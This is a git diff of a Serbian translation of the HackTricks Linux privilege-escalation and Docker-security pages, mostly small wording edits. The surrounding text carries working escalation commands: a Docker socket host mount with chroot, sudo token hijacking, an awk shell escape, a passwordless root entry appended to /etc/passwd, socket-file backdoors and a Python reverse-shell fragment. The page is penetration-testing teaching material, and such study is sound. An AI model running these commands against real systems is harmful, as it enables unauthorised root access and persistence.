@@ Napomena da je **tajmer** **aktiviran** kreiranjem symlink-a ka njemu na `/etc/s ## Sockets -Unix domena soketa (UDS) omogućava **komunikaciju procesa** na istim ili različitim mašinama unutar klijent-server modela. Koriste standardne Unix deskriptore za međuračunarsku komunikaciju i postavljaju se putem `.socket` datoteka. +Unix domena soketa (UDS) omogućava **komunikaciju procesa** na istim ili različitim mašinama unutar klijent-server modela. Koriste standardne Unix deskriptore za međumašinsku komunikaciju i postavljaju se putem `.socket` datoteka. Soketi se mogu konfigurisati koristeći `.socket` datoteke. -**Saznajte više o soketima sa `man systemd.socket`.** Unutar ove datoteke, može se konfigurisati nekoliko interesantnih parametara: +**Saznajte više o soketima sa `man systemd.socket`.** Unutar ove datoteke može se konfigurisati nekoliko interesantnih parametara: - `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Ove opcije su različite, ali se koristi sažetak da **naznači gde će slušati** soket (putanja AF_UNIX soket datoteke, IPv4/6 i/ili broj porta za slušanje, itd.) - `Accept`: Prihvaća boolean argument. Ako je **true**, **instanca servisa se pokreće za svaku dolaznu konekciju** i samo soket konekcije se prosleđuje. Ako je **false**, svi slušajući soketi se **prosleđuju pokrenutoj servisnoj jedinici**, i samo jedna servisna jedinica se pokreće za sve konekcije. Ova vrednost se ignoriše za datagram sokete i FIFOs gde jedna servisna jedinica bezuslovno obrađuje sav dolazni saobraćaj. **Podrazumevano je false**. Zbog razloga performansi, preporučuje se pisanje novih demona samo na način koji je pogodan za `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Prihvaća jedan ili više komandnih redova, koji se **izvršavaju pre** ili **posle** kreiranja i vezivanja slušajućih **soketa**/FIFOs, redom. Prvi token komandnog reda mora biti apsolutna putanja do datoteke, a zatim slede argumenti za proces. +- `ExecStartPre`, `ExecStartPost`: Prihvaća jedan ili više komandnih redova, koji se **izvršavaju pre** ili **posle** kreiranja i vezivanja slušajućih **soketa**/FIFOs, redom. Prvi token komandnog reda mora biti apsolutna datoteka, a zatim slede argumenti za proces. - `ExecStopPre`, `ExecStopPost`: Dodatne **komande** koje se **izvršavaju pre** ili **posle** zatvaranja i uklanjanja slušajućih **soketa**/FIFOs, redom. -- `Service`: Specifikuje naziv **servisne** jedinice **koju treba aktivirati** na **dolaznom saobraćaju**. Ova postavka je dozvoljena samo za sokete sa Accept=no. Podrazumevano je na servis koji nosi isto ime kao soket (sa zamenjenim sufiksom). U većini slučajeva, ne bi trebalo da bude potrebno koristiti ovu opciju. +- `Service`: Specifikuje naziv **servisne** jedinice **koju treba aktivirati** na **dolaznom saobraćaju**. Ova postavka je dozvoljena samo za sokete sa Accept=no. Podrazumevano je na servis koji nosi isto ime kao soket (sa zamenjenim sufiksom). U većini slučajeva, ne bi trebalo biti potrebno koristiti ovu opciju. ### Writable .socket files -Ako pronađete **writable** `.socket` datoteku, možete **dodati** na početak `[Socket]` sekcije nešto poput: `ExecStartPre=/home/kali/sys/backdoor` i backdoor će biti izvršen pre nego što soket bude kreiran. Stoga, **verovatno ćete morati da sačekate da se mašina ponovo pokrene.**\ +Ako pronađete **writable** `.socket` datoteku, možete **dodati** na početak `[Socket]` sekcije nešto poput: `ExecStartPre=/home/kali/sys/backdoor` i backdoor će biti izvršen pre nego što soket bude kreiran. Stoga, verovatno ćete **morati da sačekate da se mašina ponovo pokrene.**\ &#xNAN;_Note da sistem mora koristiti tu konfiguraciju soket datoteke ili backdoor neće biti izvršen_ ### Writable sockets -Ako **identifikujete bilo koji writable soket** (_sada govorimo o Unix soketima, a ne o konfiguracionim `.socket` datotekama_), onda **možete komunicirati** sa tim soketom i možda iskoristiti ranjivost. +Ako **identifikujete bilo koji writable soket** (_sada govorimo o Unix soketima, a ne o konfiguracionim `.socket` datotekama_), tada **možete komunicirati** sa tim soketom i možda iskoristiti ranjivost. ### Enumerate Unix Sockets ```bash @@ -489,11 +489,11 @@ Ako soket **odgovara HTTP** zahtevom, tada možete **komunicirati** s njim i mo ### Writable Docker Socket -Docker soket, često pronađen na `/var/run/docker.sock`, je kritična datoteka koja treba biti zaštićena. Po defaultu, može se pisati od strane `root` korisnika i članova `docker` grupe. Posedovanje prava pisanja na ovom soketu može dovesti do eskalacije privilegija. Evo pregleda kako se to može uraditi i alternativnih metoda ako Docker CLI nije dostupan. +Docker soket, često pronađen na `/var/run/docker.sock`, je kritična datoteka koja treba biti zaštićena. Po defaultu, može se pisati od strane `root` korisnika i članova `docker` grupe. Imati pristup za pisanje na ovaj soket može dovesti do eskalacije privilegija. Evo pregleda kako se to može uraditi i alternativnih metoda ako Docker CLI nije dostupan. #### **Eskalacija privilegija sa Docker CLI** -Ako imate prava pisanja na Docker soketu, možete eskalirati privilegije koristeći sledeće komande: +Ako imate pristup za pisanje na Docker soket, možete eskalirati privilegije koristeći sledeće komande: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh @@ -532,7 +532,7 @@ Connection: Upgrade Upgrade: tcp ``` -Nakon postavljanja `socat` veze, možete izvršavati komande direktno u kontejneru sa pristupom na nivou root-a do datotečnog sistema hosta. +Nakon postavljanja `socat` veze, možete direktno izvršavati komande u kontejneru sa pristupom na nivou root-a do datotečnog sistema hosta. ### Ostalo @@ -546,7 +546,7 @@ docker-security/ ## Containerd (ctr) eskalacija privilegija -Ako otkrijete da možete koristiti **`ctr`** komandu pročitajte sledeću stranicu jer **možda možete da je zloupotrebite za eskalaciju privilegija**: +Ako otkrijete da možete koristiti **`ctr`** komandu, pročitajte sledeću stranicu jer **možda možete zloupotrebiti to za eskalaciju privilegija**: {{#ref}} containerd-ctr-privilege-escalation.md @@ -554,7 +554,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** eskalacija privilegija -Ako otkrijete da možete koristiti **`runc`** komandu pročitajte sledeću stranicu jer **možda možete da je zloupotrebite za eskalaciju privilegija**: +Ako otkrijete da možete koristiti **`runc`** komandu, pročitajte sledeću stranicu jer **možda možete zloupotrebiti to za eskalaciju privilegija**: {{#ref}} runc-privilege-escalation.md @@ -566,11 +566,11 @@ D-Bus je sofisticirani **sistem međuprocesne komunikacije (IPC)** koji omoguća Sistem je svestran, podržavajući osnovni IPC koji poboljšava razmenu podataka između procesa, podsećajući na **poboljšane UNIX domen sokete**. Pored toga, pomaže u emitovanju događaja ili signala, omogućavajući besprekornu integraciju među komponentama sistema. Na primer, signal iz Bluetooth demona o dolaznom pozivu može naterati muzički plejer da utiša, poboljšavajući korisničko iskustvo. Dodatno, D-Bus podržava sistem udaljenih objekata, pojednostavljujući zahteve za uslugama i pozive metoda između aplikacija, olakšavajući procese koji su tradicionalno bili složeni. -D-Bus funkcioniše na **modelu dozvoli/odbij** i upravlja dozvolama za poruke (pozivi metoda, emitovanje signala itd.) na osnovu kumulativnog efekta usklađivanja pravila politike. Ove politike specificiraju interakcije sa autobusom, potencijalno omogućavajući eskalaciju privilegija kroz eksploataciju ovih dozvola. +D-Bus funkcioniše na **modelu dozvola/odbijanja**, upravljajući dozvolama za poruke (pozivi metoda, emitovanje signala itd.) na osnovu kumulativnog efekta usklađenih pravila politike. Ove politike specificiraju interakcije sa autobusom, potencijalno omogućavajući eskalaciju privilegija kroz eksploataciju ovih dozvola. -Primer takve politike u `/etc/dbus-1/system.d/wpa_supplicant.conf` je dat, detaljno objašnjavajući dozvole za root korisnika da poseduje, šalje i prima poruke od `fi.w1.wpa_supplicant1`. +Primer takve politike u `/etc/dbus-1/system.d/wpa_supplicant.conf` je dat, detaljno opisujući dozvole za root korisnika da poseduje, šalje i prima poruke od `fi.w1.wpa_supplicant1`. -Politike bez specificiranog korisnika ili grupe primenjuju se univerzalno, dok "podrazumevane" kontekst politike važe za sve što nije pokriveno drugim specifičnim politikama. +Politike bez specificiranog korisnika ili grupe primenjuju se univerzalno, dok "podrazumevane" politike konteksta važe za sve što nije pokriveno drugim specifičnim politikama. ```xml @@ -589,7 +589,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md Uvek je zanimljivo enumerisati mrežu i utvrditi poziciju mašine. -### Opšta enumeracija +### Generička enumeracija ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -627,7 +627,7 @@ timeout 1 tcpdump ``` ## Korisnici -### Generička Enumeracija +### Opšta Enumeracija Proverite **ko** ste, koje **privilegije** imate, koji **korisnici** su u sistemima, koji mogu da **prijave** i koji imaju **root privilegije:** ```bash @@ -654,11 +654,11 @@ gpg --list-keys 2>/dev/null ### Big UID Neke verzije Linux-a su bile pogođene greškom koja omogućava korisnicima sa **UID > INT_MAX** da eskaliraju privilegije. Više informacija: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) i [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Iskoristite** koristeći: **`systemd-run -t /bin/bash`** +**Iskoristite to** koristeći: **`systemd-run -t /bin/bash`** ### Groups -Proverite da li ste **član neke grupe** koja bi vam mogla dodeliti root privilegije: +Proverite da li ste **član neke grupe** koja bi vam mogla dati root privilegije: {{#ref}} interesting-groups-linux-pe/ @@ -687,14 +687,14 @@ Ako **znate neku lozinku** okruženja **pokušajte da se prijavite kao svaki kor ### Su Brute -Ako vam nije stalo do pravljenja puno buke i `su` i `timeout` binarni fajlovi su prisutni na računaru, možete pokušati da brute-force-ujete korisnika koristeći [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +Ako vam nije stalo do pravljenja buke i `su` i `timeout` binarni fajlovi su prisutni na računaru, možete pokušati da brute-force-ujete korisnika koristeći [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) sa `-a` parametrom takođe pokušava da brute-force-uje korisnike. -## Zloupotrebe Writable PATH-a +## Zloupotreba WRITEABLE PATH-a ### $PATH -Ako otkrijete da možete **pisati unutar neke fascikle $PATH-a** možda ćete moći da eskalirate privilegije tako što ćete **napraviti backdoor unutar pisive fascikle** sa imenom neke komande koja će biti izvršena od strane drugog korisnika (idealno root) i koja **nije učitana iz fascikle koja se nalazi pre** vaše pisive fascikle u $PATH-u. +Ako otkrijete da možete **pisati unutar neke fascikle $PATH-a** možda ćete moći da eskalirate privilegije tako što ćete **napraviti backdoor unutar fascikle koja se može pisati** sa imenom neke komande koja će biti izvršena od strane drugog korisnika (idealno root) i koja **nije učitana iz fascikle koja se nalazi pre** vaše fascikle koja se može pisati u $PATH-u. ### SUDO i SUID @@ -757,7 +757,7 @@ sudo less /var/log/something /etc/shadow #Red 2 files ### Sudo komanda/SUID binarni bez putanje komande -Ako je **sudo dozvola** data jednoj komandi **bez navođenja putanje**: _hacker10 ALL= (root) less_ možete to iskoristiti promenom PATH varijable +Ako je **sudo dozvola** data za jednu komandu **bez specificiranja putanje**: _hacker10 ALL= (root) less_ možete to iskoristiti promenom PATH varijable ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" @@ -836,7 +836,7 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID binarni – .so injekcija -Kada naiđete na binarni fajl sa **SUID** dozvolama koji deluje neobično, dobra je praksa proveriti da li pravilno učitava **.so** fajlove. Ovo se može proveriti pokretanjem sledeće komande: +Kada naiđete na binarni fajl sa **SUID** dozvolama koji deluje neobično, dobra je praksa da proverite da li pravilno učitava **.so** fajlove. Ovo se može proveriti pokretanjem sledeće komande: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` @@ -892,7 +892,7 @@ to znači da biblioteka koju ste generisali treba da ima funkciju pod nazivom `a ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) je kurirana lista Unix binarnih datoteka koje napadač može iskoristiti da zaobiđe lokalna sigurnosna ograničenja. [**GTFOArgs**](https://gtfoargs.github.io/) je isto to, ali za slučajeve kada možete **samo da injektujete argumente** u komandu. +[**GTFOBins**](https://gtfobins.github.io) je kurirana lista Unix binarnih datoteka koje napadač može iskoristiti da zaobiđe lokalna sigurnosna ograničenja. [**GTFOArgs**](https://gtfoargs.github.io/) je isto, ali za slučajeve kada možete **samo injektovati argumente** u komandu. Projekat prikuplja legitimne funkcije Unix binarnih datoteka koje se mogu zloupotrebiti za izlazak iz ograničenih ljuski, eskalaciju ili održavanje povišenih privilegija, prenos datoteka, pokretanje bind i reverse ljuski, i olakšavanje drugih post-exploitation zadataka. @@ -901,9 +901,13 @@ Projekat prikuplja legitimne funkcije Unix binarnih datoteka koje se mogu zloupo > strace -o /dev/null /bin/sh\ > sudo awk 'BEGIN {system("/bin/sh")}' -{% embed url="https://gtfobins.github.io/" %} +{{#ref}} +https://gtfobins.github.io/ +{{#endref}} -{% embed url="https://gtfoargs.github.io/" %} +{{#ref}} +https://gtfoargs.github.io/ +{{#endref}} ### FallOfSudo @@ -911,7 +915,7 @@ Ako možete pristupiti `sudo -l`, možete koristiti alat [**FallOfSudo**](https: ### Ponovno korišćenje Sudo Tokena -U slučajevima kada imate **sudo pristup** ali ne i lozinku, možete eskalirati privilegije tako što ćete **čekati na izvršenje sudo komande i zatim preuzeti sesijski token**. +U slučajevima kada imate **sudo pristup** ali ne i lozinku, možete eskalirati privilegije **čekajući izvršenje sudo komande i zatim preuzimajući sesijski token**. Zahtevi za eskalaciju privilegija: @@ -930,7 +934,7 @@ bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- Drugi **eksploit** (`exploit_v2.sh`) će kreirati sh shell u _/tmp_ **u vlasništvu root-a sa setuid** +- Drugi **eksploit** (`exploit_v2.sh`) će kreirati sh shell u _/tmp_ **u vlasništvu roota sa setuid** ```bash bash exploit_v2.sh /tmp/sh -p @@ -943,14 +947,14 @@ sudo su ### /var/run/sudo/ts/\ Ako imate **dozvole za pisanje** u folderu ili na bilo kojoj od kreiranih datoteka unutar foldera, možete koristiti binarni [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) da **kreirate sudo token za korisnika i PID**.\ -Na primer, ako možete da prepišete datoteku _/var/run/sudo/ts/sampleuser_ i imate shell kao taj korisnik sa PID 1234, možete **dobiti sudo privilegije** bez potrebe da znate lozinku tako što ćete: +Na primer, ako možete prepisati datoteku _/var/run/sudo/ts/sampleuser_ i imate shell kao taj korisnik sa PID 1234, možete **dobiti sudo privilegije** bez potrebe da znate lozinku radeći: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d Datoteka `/etc/sudoers` i datoteke unutar `/etc/sudoers.d` konfigurišu ko može koristiti `sudo` i kako. Ove datoteke **po defaultu mogu da se čitaju samo od strane korisnika root i grupe root**.\ -**Ako** možete **čitati** ovu datoteku, mogli biste da **dobijete neke zanimljive informacije**, a ako možete **pisati** bilo koju datoteku, moći ćete da **escalirate privilegije**. +**Ako** možete **čitati** ovu datoteku, mogli biste da **dobijete neke zanimljive informacije**, a ako možete **pisati** bilo koju datoteku, moći ćete da **escalate privileges**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ @@ -977,9 +981,9 @@ permit nopass demo as root cmd vim Ako znate da se **korisnik obično povezuje na mašinu i koristi `sudo`** za eskalaciju privilegija i dobili ste shell unutar tog korisničkog konteksta, možete **napraviti novi sudo izvršni fajl** koji će izvršiti vaš kod kao root, a zatim korisnikovu komandu. Zatim, **modifikujte $PATH** korisničkog konteksta (na primer dodajući novi put u .bash_profile) tako da kada korisnik izvrši sudo, vaš sudo izvršni fajl bude izvršen. -Imajte na umu da ako korisnik koristi drugačiji shell (ne bash) bićete u obavezi da modifikujete druge fajlove kako biste dodali novi put. Na primer, [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifikuje `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Možete pronaći još jedan primer u [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Imajte na umu da ako korisnik koristi drugačiji shell (ne bash) bićete u obavezi da modifikujete druge fajlove da dodate novi put. Na primer, [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifikuje `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Možete pronaći još jedan primer u [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) -Ili pokretanjem nečega poput: +Ili pokrenuti nešto poput: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Kopiranjem lib u `/var/tmp/flag15/` biće korišćen od strane programa na ovom mestu kao što je navedeno u `RPATH` varijabli. +Kopiranjem lib-a u `/var/tmp/flag15/` biće korišćen od strane programa na ovom mestu kao što je navedeno u `RPATH` varijabli. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1054,13 +1058,13 @@ linux-capabilities.md ## Dozvole direktorijuma U direktorijumu, **bit za "izvršavanje"** implicira da korisnik može da "**cd**" u folder.\ -**"Read"** bit implicira da korisnik može **da nabroji** **fajlove**, a **"write"** bit implicira da korisnik može **da obriše** i **kreira** nove **fajlove**. +**"Read"** bit implicira da korisnik može da **prikazuje** **datoteke**, a **"write"** bit implicira da korisnik može da **briše** i **kreira** nove **datoteke**. ## ACLs -Liste kontrole pristupa (ACLs) predstavljaju sekundarni sloj diskrecionih dozvola, sposobnih da **prevaziđu tradicionalne ugo/rwx dozvole**. Ove dozvole poboljšavaju kontrolu nad pristupom fajlovima ili direktorijumima omogućavajući ili odbijajući prava određenim korisnicima koji nisu vlasnici ili deo grupe. Ovaj nivo **granularnosti osigurava preciznije upravljanje pristupom**. Dodatne informacije možete pronaći [**ovde**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Liste kontrole pristupa (ACLs) predstavljaju sekundarni sloj diskrecionih dozvola, sposobnih da **prevaziđu tradicionalne ugo/rwx dozvole**. Ove dozvole poboljšavaju kontrolu nad pristupom datotekama ili direktorijumima omogućavajući ili odbijajući prava određenim korisnicima koji nisu vlasnici ili deo grupe. Ovaj nivo **granularnosti osigurava preciznije upravljanje pristupom**. Dodatne informacije možete pronaći [**ovde**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Dajte** korisniku "kali" dozvole za čitanje i pisanje nad fajlom: +**Dajte** korisniku "kali" dozvole za čitanje i pisanje nad datotekom: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) @@ -1093,7 +1097,7 @@ screen -x [user]/[session id] ``` ## tmux sesije preuzimanje -Ovo je bio problem sa **starim tmux verzijama**. Nisam mogao da preuzmem tmux (v2.1) sesiju koju je kreirao root kao korisnik bez privilegija. +Ovo je bio problem sa **starim tmux verzijama**. Nisam mogao da preuzmem tmux (v2.1) sesiju koju je kreirao root kao neprivilegovan korisnik. **Lista tmux sesija** ```bash @@ -1117,10 +1121,10 @@ Proverite **Valentine box from HTB** za primer. ## SSH -### Debian OpenSSL Predictable PRNG - CVE-2008-0166 +### Debian OpenSSL Predvidljiv PRNG - CVE-2008-0166 -Sve SSL i SSH ključevi generisani na Debian baziranim sistemima (Ubuntu, Kubuntu, itd) između septembra 2006. i 13. maja 2008. mogu biti pogođeni ovim bugom.\ -Ovaj bug se javlja prilikom kreiranja novog ssh ključa u tim OS, jer **je bilo moguće samo 32,768 varijacija**. To znači da se sve mogućnosti mogu izračunati i **imajući ssh javni ključ možete tražiti odgovarajući privatni ključ**. Izračunate mogućnosti možete pronaći ovde: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Sve SSL i SSH ključevi generisani na Debian baziranim sistemima (Ubuntu, Kubuntu, itd) između septembra 2006. i 13. maja 2008. mogu biti pogođeni ovim greškom.\ +Ova greška se javlja prilikom kreiranja novog ssh ključa u tim OS, jer **je bilo moguće samo 32,768 varijacija**. To znači da se sve mogućnosti mogu izračunati i **imajući ssh javni ključ možete tražiti odgovarajući privatni ključ**. Izračunate mogućnosti možete pronaći ovde: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Zanimljive konfiguracione vrednosti @@ -1139,7 +1143,7 @@ Određuje da li root može da se prijavi koristeći ssh, podrazumevano je `no`. ### AuthorizedKeysFile -Određuje datoteke koje sadrže javne ključeve koji se mogu koristiti za autentifikaciju korisnika. Može sadržati tokene kao što su `%h`, koji će biti zamenjeni sa kućnim direktorijumom. **Možete navesti apsolutne putanje** (počinjući od `/`) ili **relativne putanje od korisničkog doma**. Na primer: +Određuje datoteke koje sadrže javne ključeve koji se mogu koristiti za autentifikaciju korisnika. Može sadržati tokene poput `%h`, koji će biti zamenjeni sa home direktorijumom. **Možete naznačiti apsolutne putanje** (počinjući od `/`) ili **relativne putanje od korisnikovog home**. Na primer: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` @@ -1184,7 +1188,7 @@ cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -U nekim slučajevima možete pronaći **hash-ove lozinki** unutar datoteke `/etc/passwd` (ili ekvivalentne). +U nekim slučajevima možete pronaći **hash-eve lozinke** unutar datoteke `/etc/passwd` (ili ekvivalentne). ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` @@ -1205,7 +1209,7 @@ E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` Sada možete koristiti `su` komandu sa `hacker:hacker` Alternativno, možete koristiti sledeće linije da dodate lažnog korisnika bez lozinke.\ -UPWARNING: možete pogoršati trenutnu sigurnost mašine. +UPWARNING: možete smanjiti trenutnu sigurnost mašine. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy @@ -1227,7 +1231,7 @@ Vaša backdoor će biti izvršena sledeći put kada se tomcat pokrene. ### Proverite foldere -Sledeći folderi mogu sadržati backup-e ili zanimljive informacije: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Verovatno nećete moći da pročitate poslednji, ali pokušajte) +Sledeći folderi mogu sadržati rezervne kopije ili zanimljive informacije: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Verovatno nećete moći da pročitate poslednji, ali pokušajte) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` @@ -1256,7 +1260,7 @@ find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -p ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` -### \*\_istorija, .sudo_as_admin_successful, profil, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml datoteke +### \*\_istorija, .sudo_as_admin_uspešno, profil, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml datoteke ```bash find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null ``` @@ -1283,7 +1287,7 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ### Poznate datoteke koje sadrže lozinke Pročitajte kod [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), pretražuje **several possible files that could contain passwords**.\ -**Još jedan zanimljiv alat** koji možete koristiti za to je: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) koji je aplikacija otvorenog koda korišćena za preuzimanje velikog broja lozinki sa lokalnog računara za Windows, Linux i Mac. +**Još jedan zanimljiv alat** koji možete koristiti za to je: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) koji je aplikacija otvorenog koda korišćena za preuzimanje mnogih lozinki sačuvanih na lokalnom računaru za Windows, Linux i Mac. ### Logovi @@ -1323,7 +1327,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s ``` ### Logrotate eksploatacija -Ranljivost u `logrotate` omogućava korisnicima sa **pravima pisanja** na log fajl ili njegove roditeljske direktorijume da potencijalno dobiju eskalirane privilegije. To je zato što `logrotate`, koji često radi kao **root**, može biti manipulisan da izvršava proizvoljne fajlove, posebno u direktorijumima kao što je _**/etc/bash_completion.d/**_. Važno je proveriti dozvole ne samo u _/var/log_ već i u bilo kom direktorijumu gde se primenjuje rotacija logova. +Ranljivost u `logrotate` omogućava korisnicima sa **pravima pisanja** na log fajl ili njegove roditeljske direktorijume da potencijalno dobiju povišene privilegije. To je zato što `logrotate`, koji često radi kao **root**, može biti manipulisan da izvršava proizvoljne fajlove, posebno u direktorijumima kao što je _**/etc/bash_completion.d/**_. Važno je proveriti dozvole ne samo u _/var/log_ već i u bilo kom direktorijumu gde se primenjuje rotacija logova. > [!NOTE] > Ova ranljivost pogađa `logrotate` verziju `3.18.0` i starije @@ -1332,7 +1336,7 @@ Detaljnije informacije o ranjivosti mogu se naći na ovoj stranici: [https://tec Možete iskoristiti ovu ranljivost sa [**logrotten**](https://github.com/whotwagner/logrotten). -Ova ranljivost je veoma slična [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logovi),** tako da kada god otkrijete da možete menjati logove, proverite ko upravlja tim logovima i proverite da li možete eskalirati privilegije zamenom logova simboličkim linkovima. +Ova ranljivost je veoma slična [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logovi),** tako da kada god otkrijete da možete menjati logove, proverite ko upravlja tim logovima i proverite da li možete povećati privilegije zamenom logova simboličkim linkovima. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) @@ -1350,13 +1354,13 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -### **init, init.d, systemd, i rc.d** +### **init, init.d, systemd i rc.d** -Direktorijum `/etc/init.d` je dom **skripti** za System V init (SysVinit), **klasični sistem upravljanja servisima** na Linuxu. Uključuje skripte za `start`, `stop`, `restart`, i ponekad `reload` servise. Ove se mogu izvršavati direktno ili putem simboličkih linkova pronađenih u `/etc/rc?.d/`. Alternativni put u Redhat sistemima je `/etc/rc.d/init.d`. +Direktorijum `/etc/init.d` je dom **skripti** za System V init (SysVinit), **klasični sistem upravljanja servisima na Linuxu**. Uključuje skripte za `start`, `stop`, `restart`, i ponekad `reload` servise. Ove se mogu izvršavati direktno ili putem simboličkih linkova koji se nalaze u `/etc/rc?.d/`. Alternativni put u Redhat sistemima je `/etc/rc.d/init.d`. S druge strane, `/etc/init` je povezan sa **Upstart**, novijim **sistemom upravljanja servisima** koji je uveo Ubuntu, koristeći konfiguracione datoteke za zadatke upravljanja servisima. I pored prelaska na Upstart, SysVinit skripte se i dalje koriste zajedno sa Upstart konfiguracijama zbog sloja kompatibilnosti u Upstart-u. -**systemd** se pojavljuje kao moderan menadžer inicijalizacije i servisa, nudeći napredne funkcije kao što su pokretanje demona na zahtev, upravljanje automount-om i snimke stanja sistema. Organizuje datoteke u `/usr/lib/systemd/` za distribucione pakete i `/etc/systemd/system/` za izmene administratora, pojednostavljujući proces administracije sistema. +**systemd** se pojavljuje kao moderan menadžer inicijalizacije i servisa, nudeći napredne funkcije kao što su pokretanje demona na zahtev, upravljanje automount-om i snimci stanja sistema. Organizuje datoteke u `/usr/lib/systemd/` za distribucione pakete i `/etc/systemd/system/` za izmene administratora, pojednostavljujući proces administracije sistema. ## Ostali trikovi diff --git a/src/linux-hardening/privilege-escalation/docker-security/README.md b/src/linux-hardening/privilege-escalation/docker-security/README.md index 3d58a9be2..7a3677e6b 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/README.md @@ -2,15 +2,15 @@ {{#include ../../../banners/hacktricks-training.md}} -## **Osnovna sigurnost Docker engine-a** +## **Osnovna sigurnost Docker Engine-a** **Docker engine** koristi **Namespaces** i **Cgroups** iz Linux kernela za izolaciju kontejnera, pružajući osnovni sloj sigurnosti. Dodatna zaštita se obezbeđuje kroz **Capabilities dropping**, **Seccomp** i **SELinux/AppArmor**, poboljšavajući izolaciju kontejnera. **Auth plugin** može dodatno ograničiti korisničke akcije. ![Docker Security](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png) -### Siguran pristup Docker engine-u +### Siguran pristup Docker Engine-u -Docker engine može biti dostupan lokalno putem Unix soketa ili daljinski koristeći HTTP. Za daljinski pristup, neophodno je koristiti HTTPS i **TLS** kako bi se obezbedila poverljivost, integritet i autentifikacija. +Docker engine može se pristupiti lokalno putem Unix soketa ili daljinski koristeći HTTP. Za daljinski pristup, neophodno je koristiti HTTPS i **TLS** kako bi se obezbedila poverljivost, integritet i autentifikacija. Docker engine, po defaultu, sluša na Unix soketu na `unix:///var/run/docker.sock`. Na Ubuntu sistemima, opcije pokretanja Dockera su definisane u `/etc/default/docker`. Da biste omogućili daljinski pristup Docker API-ju i klijentu, izložite Docker demon preko HTTP soketa dodavanjem sledećih podešavanja: ```bash @@ -30,7 +30,7 @@ 